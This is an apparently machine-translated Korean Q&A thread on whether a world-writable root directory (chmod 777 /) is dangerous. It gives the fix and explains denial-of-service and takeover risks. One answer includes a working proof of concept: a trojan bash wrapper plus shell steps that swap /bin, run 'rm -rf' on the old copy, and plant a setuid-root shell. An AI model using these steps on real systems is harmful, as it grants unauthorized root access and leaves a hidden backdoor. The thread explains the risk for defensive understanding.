/세계적으로 쓸 수 없어야 함

/세계적으로 쓸 수 없어야 함

하지만 대부분의 내용은 755입니다.

이것이 문제입니까?

답변1

/실제로 777권한을 설정할 수 있다는 점이 흥미롭습니다 . 폴더 에는 권한 /이 없어야 합니다 777. 이는 시스템에 로그인한 모든 사용자가 /루트 수준에서 파일과 폴더를 생성할 수 있음을 의미합니다. 나는 이것을 VM에서 테스트했고 당신은할 수 없다777아닌 폴더나 파일을 삭제 하거나 . 폴더 자체에 액세스하려고 시도하면 권한이 거부되는 것처럼 액세스 권한은 계속 준수됩니다 . 그러나 그럼에도 불구하고 폴더를 이동하여 약간의 혼란을 야기할 수 있습니다.sudorootowner/root/root/root.old

이 문제를 해결하려면 실행하여 sudo chmod 755 /권한을 원래대로 변경하면 됩니다. sudo chown root:root /루트 자체가 소유하고 있는지 확인하기 위해 실행할 수도 있습니다 .-R과 함께 해당 명령을 실행하지 마십시오. 이렇게 하면 파티션의 모든 파일과 폴더가 권한 및 소유권과 일치하도록 변경됩니다.

도움이 되었기를 바랍니다!

답변2

/세계적으로 쓸 수 없어야 함

/세계적으로 쓰기 가능하다는 것은거대한문제. 에 대한 쓰기 권한이 있으면 /모든 사용자는 에서 파일이나 디렉터리를 이동하거나 이름을 바꿀 수 있습니다 /. 이는 모든 사용자가 이나 다른 디렉토리를 자신이 선택한 디렉토리로 바꿀 수 있음을 /etc의미 /usr합니다 /.

서비스 거부: 사소한 일

/etc모든 사용자는 및 이름을 변경하여 시스템을 간단하게 DoS할 수 있습니다 /usr.

권한 상승: 약간 덜 사소함

권한 상승을 수행하는 것이 약간 더 어렵습니다. 사용자는 /bin자신의 복사본과 사용하려고 시도하는 모든 프로세스로 대체할 수 있습니다 cp.쉘을 시작하다, 즉시 자비를 베풀 것입니다. 사용자가 해야 할 일은 루트로 실행되는 프로세스가 의 명령을 사용 /bin하거나 루트 사용자가 로그인을 사용하기를 기다리는 것뿐입니다.

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

그런 다음:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

그리고 다음에 루트가 셸을 시작할 때 홈 디렉터리에 setuid 실행 파일이 생기며, 이를 통해 원할 때마다 많은 흔적을 남기지 않고 루트를 얻는 데 편안하게 사용할 수 있습니다.

답변3

/아니요. (루트 디렉터리)이 권한을 갖는 것은 안전하지 않습니다 777. 즉 rwxrwxrwx, 모든 사용자는 루트 디렉터리에 대한 쓰기 권한을 가지고 있습니다.

해당 권한이 있으면 모든 사용자는 새 하위 디렉터리를 만들고, 기존 하위 디렉터리를 삭제하고, 기존 하위 디렉터리를 바꿀 수 있습니다. 예를 들어, 악의적인 사용자는 /bin이를 삭제하고(이름을 변경하여 /bin.old) /bin악성 실행 파일이 포함된 자신이 소유한 새 파일을 생성할 수 있습니다. 또는 사용자가 삭제 하고 /etc(이름을 변경하여 /etc.old) 사용자가 시스템의 모든 계정에 로그인할 수 있도록 하는 새 및 파일이 /etc포함된 새 계정을 생성할 수 있습니다./etc/passwd/etc/shadow

관련 정보